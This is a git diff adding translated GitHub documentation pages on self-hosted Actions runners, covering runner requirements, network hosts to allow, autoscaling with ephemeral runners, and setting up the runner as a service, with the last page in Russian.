/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added + - /actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards + - /actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot + - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service + - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service + - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service + - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service + - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service + - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service + - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app + - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service +ms.openlocfilehash: 4bd48a62bb403cddffb57384b62b686e474d7933 +ms.sourcegitcommit: 42d16ca5031d40346f6a6f0e76d63eb8f2ad05bd +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/24/2022 +ms.locfileid: '148105158' +--- + diff --git a/translations/ru-RU/content/actions/hosting-your-own-runners/about-self-hosted-runners.md b/translations/ru-RU/content/actions/hosting-your-own-runners/about-self-hosted-runners.md new file mode 100644 index 000000000000..1f447b00f91d --- /dev/null +++ b/translations/ru-RU/content/actions/hosting-your-own-runners/about-self-hosted-runners.md @@ -0,0 +1,280 @@ +--- +title: About self-hosted runners +intro: 'You can host your own runners and customize the environment used to run jobs in your {% data variables.product.prodname_actions %} workflows.' +redirect_from: + - /github/automating-your-workflow-with-github-actions/about-self-hosted-runners + - /actions/automating-your-workflow-with-github-actions/about-self-hosted-runners +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About self-hosted runners + +A self-hosted runner is a system that you deploy and manage to execute jobs from {% data variables.product.prodname_actions %} on {% ifversion ghae or ghec %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. For more information about {% data variables.product.prodname_actions %}, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions){% ifversion fpt %}."{% elsif ghec or ghes or ghae %}" and "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)."{% endif %} + +{% data reusables.actions.self-hosted-runner-description %} {% data reusables.actions.self-hosted-runner-locations %} + +You can add self-hosted runners at various levels in the management hierarchy: +- Repository-level runners are dedicated to a single repository. +- Organization-level runners can process jobs for multiple repositories in an organization. +- Enterprise-level runners can be assigned to multiple organizations in an enterprise account. + +{% data reusables.actions.self-hosted-runner-architecture %} {% data reusables.actions.runner-app-open-source %} When a new version is released, the runner application automatically updates itself when a job is assigned to the runner, or within a week of release if the runner hasn't been assigned any jobs. + +{% ifversion ghes %} +{% note %} + +**Note:** {% data reusables.actions.upgrade-runners-before-upgrade-ghes %} + +{% endnote %} +{% endif %} + +{% data reusables.actions.self-hosted-runner-auto-removal %} + +For more information about installing and using self-hosted runners, see "[Adding self-hosted runners](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners)" and "[Using self-hosted runners in a workflow](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)." + +## {% ifversion fpt or ghec or ghes %}Differences between {% data variables.product.prodname_dotcom %}-hosted and {% elsif ghae %}Characteristics of {% endif %}self-hosted runners + +{% ifversion fpt or ghec or ghes %} +{% data variables.product.prodname_dotcom %}-hosted runners offer a quicker, simpler way to run your workflows, while self-hosted{% elsif ghae %}Self-hosted{% endif %} runners are a highly configurable way to run workflows in your own custom environment. {% ifversion ghae %}Self-hosted runners:{% endif %} + +{% ifversion fpt or ghec or ghes %} +**{% data variables.product.prodname_dotcom %}-hosted runners:** +- Receive automatic updates for the operating system, preinstalled packages and tools, and the self-hosted runner application. +- Are managed and maintained by {% data variables.product.prodname_dotcom %}. +- Provide a clean instance for every job execution. +- Use free minutes on your {% data variables.product.prodname_dotcom %} plan, with per-minute rates applied after surpassing the free minutes. + +**Self-hosted runners:**{% endif %} +- Receive automatic updates for the self-hosted runner application only{% ifversion fpt or ghec or ghes > 3.4 or ghae %}, though you may disable automatic updates of the runner. For more information about controlling runner software updates on self-hosted runners, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners#controlling-runner-software-updates-on-self-hosted-runners)."{% else %}.{% endif %} You are responsible for updating the operating system and all other software. +- Can use cloud services or local machines that you already pay for. +- Are customizable to your hardware, operating system, software, and security requirements. +- Don't need to have a clean instance for every job execution. +- Are free to use with {% data variables.product.prodname_actions %}, but you are responsible for the cost of maintaining your runner machines.{% ifversion ghec or ghes or ghae %} +- Can be organized into groups to restrict access to specific {% ifversion restrict-groups-to-workflows %}workflows, {% endif %}organizations and repositories. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."{% endif %} + +## Requirements for self-hosted runner machines + +You can use any machine as a self-hosted runner as long at it meets these requirements: + +* You can install and run the self-hosted runner application on the machine. For more information, see "[Supported architectures and operating systems for self-hosted runners](#supported-architectures-and-operating-systems-for-self-hosted-runners)." +* The machine can communicate with {% data variables.product.prodname_actions %}. For more information, see "[Communication between self-hosted runners and {% data variables.product.product_name %}](#communication-requirements)." +* The machine has enough hardware resources for the type of workflows you plan to run. The self-hosted runner application itself only requires minimal resources. +* If you want to run workflows that use Docker container actions or service containers, you must use a Linux machine and Docker must be installed. + +## Autoscaling your self-hosted runners + +You can automatically increase or decrease the number of self-hosted runners in your environment in response to the webhook events you receive. For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)." + +## Usage limits + +There are some limits on {% data variables.product.prodname_actions %} usage when using self-hosted runners. These limits are subject to change. + +{% data reusables.actions.usage-workflow-run-time %} +- **Job queue time** - Each job for self-hosted runners can be queued for a maximum of 24 hours. If a self-hosted runner does not start executing the job within this limit, the job is terminated and fails to complete. +{% data reusables.actions.usage-api-requests %} +- **Job matrix** - {% data reusables.actions.usage-matrix-limits %} +{% data reusables.actions.usage-workflow-queue-limits %} + +## Workflow continuity for self-hosted runners + +{% data reusables.actions.runner-workflow-continuity %} + +## Supported architectures and operating systems for self-hosted runners + +The following operating systems are supported for the self-hosted runner application. + +### Linux + +- Red Hat Enterprise Linux 7 or later +- CentOS 7 or later +- Oracle Linux 7 +- Fedora 29 or later +- Debian 9 or later +- Ubuntu 16.04 or later +- Linux Mint 18 or later +- openSUSE 15 or later +- SUSE Enterprise Linux (SLES) 12 SP2 or later + +### Windows + +- Windows 7 64-bit +- Windows 8.1 64-bit +- Windows 10 64-bit +- Windows Server 2012 R2 64-bit +- Windows Server 2019 64-bit + +### macOS + +- macOS 10.13 (High Sierra) or later + +### Architectures + +The following processor architectures are supported for the self-hosted runner application. + +- `x64` - Linux, macOS, Windows. +- `ARM64` - Linux{% ifversion actions-macos-arm %}, macOS{% endif %}{% ifversion actions-windows-arm %}, Windows (currently in beta){% endif %}. +- `ARM32` - Linux. + +{% ifversion ghes %} + +## Supported actions on self-hosted runners + +Some extra configuration might be required to use actions from {% data variables.product.prodname_dotcom_the_website %} with {% data variables.product.prodname_ghe_server %}, or to use the `actions/setup-LANGUAGE` actions with self-hosted runners that do not have internet access. For more information, see "[Managing access to actions from {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/managing-access-to-actions-from-githubcom)" and contact your {% data variables.product.prodname_enterprise %} site administrator. + +{% endif %} + + + +## Communication between self-hosted runners and {% data variables.product.product_name %} + +The self-hosted runner connects to {% data variables.product.product_name %} to receive job assignments and to download new versions of the runner application. The self-hosted runner uses an {% ifversion ghes %}HTTP(S){% else %}HTTPS{% endif %} _long poll_ that opens a connection to {% data variables.product.product_name %} for 50 seconds, and if no response is received, it then times out and creates a new long poll. The application must be running on the machine to accept and run {% data variables.product.prodname_actions %} jobs. + +{% data reusables.actions.self-hosted-runner-ports-protocols %} + +{% ifversion fpt or ghec %} +Since the self-hosted runner opens a connection to {% data variables.location.product_location %}, you do not need to allow {% data variables.product.prodname_dotcom %} to make inbound connections to your self-hosted runner. +{% elsif ghes or ghae %} +Only an outbound connection from the runner to {% data variables.location.product_location %} is required. There is no need for an inbound connection from {% data variables.location.product_location %} to the runner. +{%- endif %} + +{% ifversion ghes %} + +{% data variables.product.product_name %} must accept inbound connections from your runners over {% ifversion ghes %}HTTP(S){% else %}HTTPS{% endif %} at {% data variables.location.product_location %}'s hostname and API subdomain, and your runners must allow outbound connections over {% ifversion ghes %}HTTP(S){% else %}HTTPS{% endif %} to {% data variables.location.product_location %}'s hostname and API subdomain. + +{% elsif ghae %} + +You must ensure that the self-hosted runner has appropriate network access to communicate with your {% data variables.product.product_name %} URL and its subdomains. For example, if your subdomain for {% data variables.product.product_name %} is `octoghae`, then you will need to allow the self-hosted runner to access `octoghae.githubenterprise.com`, `api.octoghae.githubenterprise.com`, and `codeload.octoghae.githubenterprise.com`. + +If you use an IP address allow list, you must add your self-hosted runner's IP address to the allow list. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list)." + +{% endif %} + +{% ifversion fpt or ghec %} + +You must ensure that the machine has the appropriate network access to communicate with the {% data variables.product.prodname_dotcom %} hosts listed below. Some hosts are required for essential runner operations, while other hosts are only required for certain functionality. + +{% note %} + +**Note:** Some of the domains listed below are configured using `CNAME` records. Some firewalls might require you to add rules recursively for all `CNAME` records. Note that the `CNAME` records might change in the future, and that only the domains listed below will remain constant. + +{% endnote %} + +**Needed for essential operations:** + +``` +github.com +api.github.com +``` + +**Needed for downloading actions:** + +``` +codeload.github.com +``` + +**Needed for runner version updates:** + +``` +objects.githubusercontent.com +objects-origin.githubusercontent.com +github-releases.githubusercontent.com +github-registry-files.githubusercontent.com +``` + +**Needed for uploading/downloading caches and workflow artifacts:** + +``` +*.blob.core.windows.net +``` + +**Needed for retrieving OIDC tokens:** + +``` +*.actions.githubusercontent.com +``` + +**Needed for downloading or publishing packages or containers to {% data variables.product.prodname_dotcom %} Packages:** + +``` +*.pkg.github.com +ghcr.io +``` + +In addition, your workflow may require access to other network resources. + +If you use an IP address allow list for your {% data variables.product.prodname_dotcom %} organization or enterprise account, you must add your self-hosted runner's IP address to the allow list. For more information, see "[Managing allowed IP addresses for your organization](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list)" or "[Enforcing policies for security settings in your enterprise](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} + +{% else %} + +{% ifversion ghes %}Self-hosted runners do not require any external internet access in order to function. As a result, you can use network routing to direct communication between the self-hosted runner and {% data variables.location.product_location %}. For example, you can assign a private IP address to your self-hosted runner and configure routing to send traffic to {% data variables.location.product_location %}, with no need for traffic to traverse a public network.{% endif %} + +{% endif %} + +{% ifversion ghae %} +If you use an IP address allow list for your {% data variables.product.prodname_dotcom %} organization or enterprise account, you must add your self-hosted runner's IP address to the allow list. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list)." +{% endif %} + +You can also use self-hosted runners with a proxy server. For more information, see "[Using a proxy server with self-hosted runners](/actions/automating-your-workflow-with-github-actions/using-a-proxy-server-with-self-hosted-runners)." + +For more information about troubleshooting common network connectivity issues, see "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#troubleshooting-network-connectivity)." + +{% ifversion ghes or ghae %} + +## Communication between self-hosted runners and {% data variables.product.prodname_dotcom_the_website %} + +Self-hosted runners do not need to connect to {% data variables.product.prodname_dotcom_the_website %} unless you have enabled automatic access to {% data variables.product.prodname_dotcom_the_website %} actions for {% data variables.location.product_location %}. For more information, see "[About using actions in your enterprise](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise)." + +If you have enabled automatic access to {% data variables.product.prodname_dotcom_the_website %} actions, then the self-hosted runner will connect directly to {% data variables.product.prodname_dotcom_the_website %} to download actions. You must ensure that the machine has the appropriate network access to communicate with the {% data variables.product.prodname_dotcom %} URLs listed below. + +``` +github.com +api.github.com +codeload.github.com +``` + +{% note %} + +**Note:** Some of the domains listed above are configured using `CNAME` records. Some firewalls might require you to add rules recursively for all `CNAME` records. Note that the `CNAME` records might change in the future, and that only the domains listed above will remain constant. + +{% endnote %} + +{% endif %} + +## Self-hosted runner security + +{% ifversion fpt or ghec %} + +{% data reusables.actions.self-hosted-runner-security %} + +{% endif %} + +{% ifversion fpt or ghec %} + +This is not an issue with {% data variables.product.prodname_dotcom %}-hosted runners because each {% data variables.product.prodname_dotcom %}-hosted runner is always a clean isolated virtual machine, and it is destroyed at the end of the job execution. + +{% endif %} + +Untrusted workflows running on your self-hosted runner pose significant security risks for your machine and network environment, especially if your machine persists its environment between jobs. Some of the risks include: + +* Malicious programs running on the machine. +* Escaping the machine's runner sandbox. +* Exposing access to the machine's network environment. +* Persisting unwanted or dangerous data on the machine. + +For more information about security hardening for self-hosted runners, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners)." + +{% ifversion ghec or ghes or ghae %} + +## Further reading + +- "[Getting started with self-hosted runners for your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise)" + +{% endif %} diff --git a/translations/ru-RU/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md b/translations/ru-RU/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md new file mode 100644 index 000000000000..3ea5bd98874f --- /dev/null +++ b/translations/ru-RU/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md @@ -0,0 +1,125 @@ +--- +title: Adding self-hosted runners +intro: 'You can add a self-hosted runner to a repository, an organization, or an enterprise.' +redirect_from: + - /github/automating-your-workflow-with-github-actions/adding-self-hosted-runners + - /actions/automating-your-workflow-with-github-actions/adding-self-hosted-runners +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +shortTitle: Add self-hosted runners +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +You can add a self-hosted runner to a repository, an organization, or an enterprise. + +If you are an organization or enterprise administrator, you might want to add your self-hosted runners at the organization or enterprise level. This approach makes the runner available to multiple repositories in your organization or enterprise, and also lets you to manage your runners in one place. + +For information on supported operating systems for self-hosted runners, or using self-hosted runners with a proxy server, see "[About self-hosted runners](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners)." + +{% ifversion not ghae %} +{% warning %} + +**Warning:** {% data reusables.actions.self-hosted-runner-security %} + +For more information, see "[About self-hosted runners](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)." + +{% endwarning %} +{% endif %} + +{% ifversion fpt or ghec or ghes %} + +You can set up automation to scale the number of self-hosted runners. For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)." + +{% endif %} + +## Prerequisites + +{% data reusables.actions.self-hosted-runners-prerequisites %} + +## Adding a self-hosted runner to a repository + +You can add self-hosted runners to a single repository. To add a self-hosted runner to a user repository, you must be the repository owner. For an organization repository, you must be an organization owner or have admin access to the repository. For information about how to add a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)." + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.settings-sidebar-actions-runners %} +1. Click **New self-hosted runner**. +{% data reusables.actions.self-hosted-runner-configure %} +{% elsif ghae or ghes < 3.4 %} +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.settings-sidebar-actions-runners %} +1. Under {% ifversion ghes or ghae or ghec %}"Runners"{% else %}"Self-hosted runners"{% endif %}, click **Add runner**. +{% data reusables.actions.self-hosted-runner-configure %} +{% endif %} +{% data reusables.actions.self-hosted-runner-check-installation-success %} + +For more information, see "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)." + +## Adding a self-hosted runner to an organization + +You can add self-hosted runners at the organization level, where they can be used to process jobs for multiple repositories in an organization. To add a self-hosted runner to an organization, you must be an organization owner. For information about how to add a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)." + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.org_settings %} +{% data reusables.organizations.settings-sidebar-actions-runners %} +{% ifversion actions-hosted-runners %}1. Click **New runner**, then click **New self-hosted runner**.{% else %}1. Click **New runner**.{% endif %} +{% data reusables.actions.self-hosted-runner-configure %} +{% elsif ghae or ghes < 3.4 %} +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.org_settings %} +{% data reusables.organizations.settings-sidebar-actions-runners %} +1. Under {% ifversion ghes or ghae %}"Runners", click **Add new**, then click **New runner**.{% endif %} +{% data reusables.actions.self-hosted-runner-configure %} +{% endif %} +{% data reusables.actions.self-hosted-runner-check-installation-success %} + +For more information, see "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)." + +{% data reusables.actions.self-hosted-runner-public-repo-access %} + +## Adding a self-hosted runner to an enterprise + +{% ifversion fpt %}If you use {% data variables.product.prodname_ghe_cloud %}, you{% elsif ghec or ghes or ghae %}You{% endif %} can add self-hosted runners to an enterprise, where they can be assigned to multiple organizations. The organization admins are then able to control which repositories can use it. {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise).{% endif %} + +{% ifversion ghec or ghes or ghae %} +New runners are assigned to the default group. You can modify the runner's group after you've registered the runner. For more information, see "[Managing access to self-hosted runners](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)." + +{% ifversion ghec or ghes > 3.3 or ghae > 3.3 %} + +To add a self-hosted runner to an enterprise, you must be an enterprise owner. For information about how to add a self-hosted runner with the REST API, see the enterprise endpoints in the [{% data variables.product.prodname_actions %} REST API](/rest/reference/actions#self-hosted-runners). + +{% endif %} + +{% data reusables.actions.self-hosted-runner-add-to-enterprise %} + +{% data reusables.actions.self-hosted-runner-check-installation-success %} + +For more information, see "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)." + +{% data reusables.actions.self-hosted-runner-public-repo-access %} + +### Making enterprise runners available to repositories + +By default, runners in an enterprise's "Default" self-hosted runner group are available to all organizations in the enterprise, but are not available to all repositories in each organization. + +To make an enterprise-level self-hosted runner group available to an organization repository, you might need to change the organization's inherited settings for the runner group to make the runner available to repositories in the organization. + +For more information on changing runner group access settings, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." +{% endif %} + +{% ifversion ghec or ghes or ghae %} + +## Further reading + +- "[Getting started with self-hosted runners for your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise)" + +{% endif %} diff --git a/translations/ru-RU/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md b/translations/ru-RU/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md new file mode 100644 index 000000000000..01c8c1cb9f49 --- /dev/null +++ b/translations/ru-RU/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md @@ -0,0 +1,107 @@ +--- +title: Autoscaling with self-hosted runners +shortTitle: Autoscale self-hosted runners +intro: You can automatically scale your self-hosted runners in response to webhook events. +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +type: overview +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About autoscaling + +You can automatically increase or decrease the number of self-hosted runners in your environment in response to the webhook events you receive with a particular label. For example, you can create automation that adds a new self-hosted runner each time you receive a [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook event with the [`queued`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) activity, which notifies you that a new job is ready for processing. The webhook payload includes label data, so you can identify the type of runner the job is requesting. Once the job has finished, you can then create automation that removes the runner in response to the `workflow_job` [`completed`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) activity. + +## Recommended autoscaling solutions + +{% data variables.product.prodname_dotcom %} recommends and partners closely with two open source projects that you can use for autoscaling your runners. One or both solutions may be suitable, based on your needs. + +The following repositories have detailed instructions for setting up these autoscalers: + +- [actions-runner-controller/actions-runner-controller](https://github.com/actions-runner-controller/actions-runner-controller) - A Kubernetes controller for {% data variables.product.prodname_actions %} self-hosted runners. +- [philips-labs/terraform-aws-github-runner](https://github.com/philips-labs/terraform-aws-github-runner) - A Terraform module for scalable {% data variables.product.prodname_actions %} runners on Amazon Web Services. + +Each solution has certain specifics that may be important to consider: + +| **Features** | **actions-runner-controller** | **terraform-aws-github-runner** | +| :--- | :--- | :--- | +| Runtime | Kubernetes | Linux and Windows VMs | +| Supported Clouds | Azure, Amazon Web Services, Google Cloud Platform, on-premises | Amazon Web Services | +| Where runners can be scaled | Enterprise, organization, and repository levels. By runner label and runner group. | Organization and repository levels. By runner label and runner group. | +| How runners can be scaled | Webhook events, Scheduled, Pull-based | Webhook events, Scheduled (org-level runners only) | + +## Using ephemeral runners for autoscaling + +{% data variables.product.prodname_dotcom %} recommends implementing autoscaling with ephemeral self-hosted runners; autoscaling with persistent self-hosted runners is not recommended. In certain cases, {% data variables.product.prodname_dotcom %} cannot guarantee that jobs are not assigned to persistent runners while they are shut down. With ephemeral runners, this can be guaranteed because {% data variables.product.prodname_dotcom %} only assigns one job to a runner. + +This approach allows you to manage your runners as ephemeral systems, since you can use automation to provide a clean environment for each job. This helps limit the exposure of any sensitive resources from previous jobs, and also helps mitigate the risk of a compromised runner receiving new jobs. + +To add an ephemeral runner to your environment, include the `--ephemeral` parameter when registering your runner using `config.sh`. For example: + +```shell +./config.sh --url https://github.com/octo-org --token example-token --ephemeral +``` + +The {% data variables.product.prodname_actions %} service will then automatically de-register the runner after it has processed one job. You can then create your own automation that wipes the runner after it has been de-registered. + +{% note %} + +**Note:** If a job is labeled for a certain type of runner, but none matching that type are available, the job does not immediately fail at the time of queueing. Instead, the job will remain queued until the 24 hour timeout period expires. + +{% endnote %} + +{% ifversion fpt or ghec or ghes > 3.4 or ghae %} + +## Controlling runner software updates on self-hosted runners + +By default, self-hosted runners will automatically perform a software update whenever a new version of the runner software is available. If you use ephemeral runners in containers then this can lead to repeated software updates when a new runner version is released. Turning off automatic updates allows you to update the runner version on the container image directly on your own schedule. + +To turn off automatic software updates and install software updates yourself, specify the `--disableupdate` flag when registering your runner using `config.sh`. For example: + +```shell +./config.sh --url https://github.com/YOUR-ORGANIZATION --token EXAMPLE-TOKEN --disableupdate +``` + +If you disable automatic updates, you must still update your runner version regularly. New functionality in {% data variables.product.prodname_actions %} requires changes in both the {% data variables.product.prodname_actions %} service _and_ the runner software. The runner may not be able to correctly process jobs that take advantage of new features in {% data variables.product.prodname_actions %} without a software update. + +If you disable automatic updates, you will be required to update your runner version within 30 days of a new version being made available. You may want to subscribe to notifications for releases in the [`actions/runner` repository](https://github.com/actions/runner/releases). For more information, see "[Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#about-custom-notifications)." + +For instructions on how to install the latest runner version, see the installation instructions for [the latest release](https://github.com/actions/runner/releases). + +{% note %} + +**Note:** If you do not perform a software update within 30 days, the {% data variables.product.prodname_actions %} service will not queue jobs to your runner. In addition, if a critical security update is required, the {% data variables.product.prodname_actions %} service will not queue jobs to your runner until it has been updated. + +{% endnote %} + +{% endif %} + +## Using webhooks for autoscaling + +You can create your own autoscaling environment by using payloads received from the [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook. This webhook is available at the repository, organization, and enterprise levels, and the payload for this event contains an `action` key that corresponds to the stages of a workflow job's life-cycle; for example when jobs are `queued`, `in_progress`, and `completed`. You must then create your own scaling automation in response to these webhook payloads. + +- For more information about the `workflow_job` webhook, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job)." +- To learn how to work with webhooks, see "[Creating webhooks](/developers/webhooks-and-events/webhooks/creating-webhooks)." + +## Authentication requirements + +You can register and delete repository and organization self-hosted runners using [the API](/rest/reference/actions#self-hosted-runners). To authenticate to the API, your autoscaling implementation can use an access token or a {% data variables.product.prodname_dotcom %} app. + +Your access token will require the following scope: + +- For private repositories, use an access token with the [`repo` scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes). +- For public repositories, use an access token with the [`public_repo` scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes). +- For organizations, use an access token with the [`admin:org` scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes). + +To authenticate using a {% data variables.product.prodname_dotcom %} App, it must be assigned the following permissions: +- For repositories, assign the `administration` permission. +- For organizations, assign the `organization_self_hosted_runners` permission. + +You can register and delete enterprise self-hosted runners using [the API](/rest/reference/actions#self-hosted-runners). To authenticate to the API, your autoscaling implementation can use an access token. + +Your access token will require the `manage_runners:enterprise` scope. diff --git a/translations/ru-RU/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md b/translations/ru-RU/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md new file mode 100644 index 000000000000..5bc8ace4c9d0 --- /dev/null +++ b/translations/ru-RU/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md @@ -0,0 +1,188 @@ +--- +title: Настройка приложения локального средства выполнения как службы +shortTitle: Run the runner app as a service +intro: 'Вы можете настроить локальное средство выполнения в качестве службы, чтобы автоматически запускать его при запуске компьютера.' +redirect_from: + - /actions/automating-your-workflow-with-github-actions/configuring-the-self-hosted-runner-application-as-a-service +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +defaultPlatform: linux +ms.openlocfilehash: 264a668616624e216be0d7bc60f8633c24ebc249 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010052' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +{% capture service_first_step %}1. Остановите приложение локального средства выполнения, если в данный момент оно запущено.{% endcapture %} {% capture service_non_windows_intro_shell %}На компьютере средства выполнения откройте оболочку в каталоге, где установлено приложение локального средства выполнения. Используйте приведенные ниже команды, чтобы установить службу локального средства выполнения и управлять ею. {% endcapture %} + +{% capture service_nonwindows_intro %} + +{% note %} + +**Примечание.** Добавьте средство выполнения в {% data variables.product.product_name %}, прежде чем настроить приложение локального средства выполнения в качестве службы. Дополнительные сведения см. в разделе [Добавление локальных средств выполнения](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners). + +{% endnote %} {% endcapture %} + +{% capture service_win_name %}actions.runner.*{% endcapture %} + +{% linux %} + +{{ service_nonwindows_intro }} + +Для систем Linux, использующих `systemd`, можно воспользоваться скриптом `svc.sh`, который создан после успешного добавления средства выполнения, для установки приложения в качестве службы и управления им. + +{{ service_non_windows_intro_shell }} + +{% endlinux %} + +{% windows %} + +{% note %} + +**Примечание.** Настройка приложения локального средства выполнения в качестве службы в Windows является частью процесса настройки приложения. Если вы уже настроили приложение локального средства выполнения, но не в качестве службы, необходимо удалить средство выполнения из {% data variables.product.prodname_dotcom %} и повторно настроить приложение. При повторной настройке приложения выберите параметр настройки приложения как службы. + +Дополнительные сведения см. в разделах [Удаление локальных средств выполнения](/actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners) и [Добавление локальных средств выполнения](/actions/automating-your-workflow-with-github-actions/adding-self-hosted-runners). + +{% endnote %} + +Вы можете управлять службой средства выполнения в приложении **Службы** Windows или использовать PowerShell для выполнения приведенных ниже команд. + +{% endwindows %} + +{% mac %} + +{{ service_nonwindows_intro }} + +{{ service_non_windows_intro_shell }} + +{% endmac %} + +{% linux %} + +## Установка службы + +{{ service_first_step }} +1. Установите службу с помощью следующей команды: + + ```shell + sudo ./svc.sh install + ``` + 